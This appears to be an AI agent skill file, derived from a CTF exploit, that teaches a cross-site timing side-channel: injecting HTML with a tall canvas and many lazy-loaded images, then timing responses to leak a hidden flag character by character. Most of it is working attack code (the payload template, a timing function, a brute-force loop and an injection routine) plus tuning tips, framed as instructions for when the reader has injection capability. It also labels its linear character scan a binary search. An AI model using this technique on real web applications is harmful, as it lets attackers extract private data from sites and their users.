Lazy Image Side-Channel Attack
This skill teaches you how to perform timing-based side-channel attacks that combine lazy image loading with event loop blocking to leak characters from hidden data.
When to Use This Technique
Use this attack when:
- You have HTML/XSS injection capability
- The target uses lazy image loading (
loading="lazy") - You can measure request/response timing
- The application loads content in a predictable order (alphabetical, chronological, etc.)
- You need to extract hidden data character-by-character
Core Concept
The attack exploits how browsers handle lazy image loading:
- Lazy images only load when visible - Images with
loading="lazy"don't load until they scroll into viewport - Event loop blocking - When many images load simultaneously, they block the Node.js event loop
- Timing oracle - Blocked event loop = slower responses, which you can measure
The Exploit Flow
┌─────────────────────────────────────────────────────────────┐
│ 1. Inject post with: │
│ - Character to test (e.g., "A" or "Z") │
│ - Large canvas (fills screen) │
│ - Many lazy images (at bottom, below fold) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. If injected post is FIRST (alphabetically): │
│ - Canvas fills screen │
│ - Lazy images are BELOW fold → NOT loaded │
│ - Event loop NOT blocked → FAST responses │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. If injected post is AFTER flag: │
│ - Flag post appears first │
│ - Canvas + lazy images are VISIBLE → images LOAD │
│ - Event loop BLOCKED → SLOW responses │
└─────────────────────────────────────────────────────────────┘
Attack Implementation
Step 1: Craft the Payload
<!-- Template for character testing -->
${CHAR_TO_TEST}<br>
<canvas height="3350px"></canvas><br>
${LAZY_IMAGES}
Where LAZY_IMAGES is:
<img loading="lazy" src="/?0">
<img loading="lazy" src="/?1">
<img loading="lazy" src="/?2">
<!-- ... repeat 20+ times -->
Key parameters to tune:
canvas height: Must be large enough to push images below fold when post is firstnumber of lazy images: More images = more event loop blocking = clearer timing differencetiming threshold: Measure on target to find the cutoff between "blocked" and "not blocked"
Step 2: Measure Timing
async function measureTiming(targetUrl, rounds = 30) {
let totalTime = 0;
for (let i = 0; i < rounds; i++) {
const start = performance.now();
await fetch(targetUrl + "/?test", { mode: "no-cors" });
const end = performance.now();
totalTime += (end - start);
}
return totalTime / rounds; // average per request
}
Step 3: Binary Search for Characters
const charset = "abcdefghijklmnopqrstuvwxyz{}0123456789";
let flag = "SEKAI{";
async function leakCharacter() {
for (const char of charset) {
const testString = flag + char;
const isBeforeFlag = await testCharacter(testString);
if (isBeforeFlag) {
flag += char;
break;
}
}
return flag;
}
Step 4: Test Character Position
async function testCharacter(testString) {
// 1. Inject post with test string + payload
await injectPost(testString + payload);
// 2. Wait for page to load
await sleep(500);
// 3. Open multiple tabs to trigger image loading
for (let i = 0; i < 5; i++) {
window.open(targetUrl);
}
// 4. Measure timing
await sleep(200);
const avgTime = await measureTiming(targetUrl);
// 5. Clean up
await removePost();
// 6. Return result based on threshold
return avgTime >= THRESHOLD; // true = images loaded = post is after flag
}
Tuning Parameters
Finding the Right Canvas Height
Test locally to find the height that:
- Shows images when post is NOT first (below flag)
- Hides images when post IS first (above flag)
// Test different heights
const heights = [3000, 3200, 3350, 3500, 4000];
for (const h of heights) {
const canvas = `<canvas height="${h}px"></canvas>`;
// Test and measure timing difference
}
Finding the Timing Threshold
Run multiple tests with known positions:
// Test with "A" (should be before flag)
const timeA = await measureTiming();
// Test with "Z" (should be after flag)
const timeZ = await measureTiming();
// Threshold should be between them
const threshold = (timeA + timeZ) / 2;
Complete Exploit Template
See scripts/exploit-template.js for a ready-to-use template.
Common Pitfalls
- Threshold too tight - Network variance can cause false positives. Use multiple rounds and average.
- Canvas height wrong - Images may load in both cases or neither. Test locally first.
- Not enough lazy images - Event loop blocking may be too subtle. Use 20+ images.
- Timing measurements too few - Use 30+ rounds for reliable averages.
- Not cleaning up - Remove test posts between iterations to avoid breaking the oracle.
When This Won't Work
- Target doesn't use lazy image loading
- You can't inject HTML
- Content isn't loaded in predictable order
- Server doesn't have event loop blocking vulnerability
- CORS prevents timing measurements
Related Techniques
- Connection pool exhaustion - Similar timing oracle, different mechanism
- DNS side-channels - Use DNS queries instead of HTTP timing
- Cache timing attacks - Exploit cache hit/miss timing differences
References
- Original exploit: https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45
- Author: @aszx87410
- Challenge: CTF with alphabetical post ordering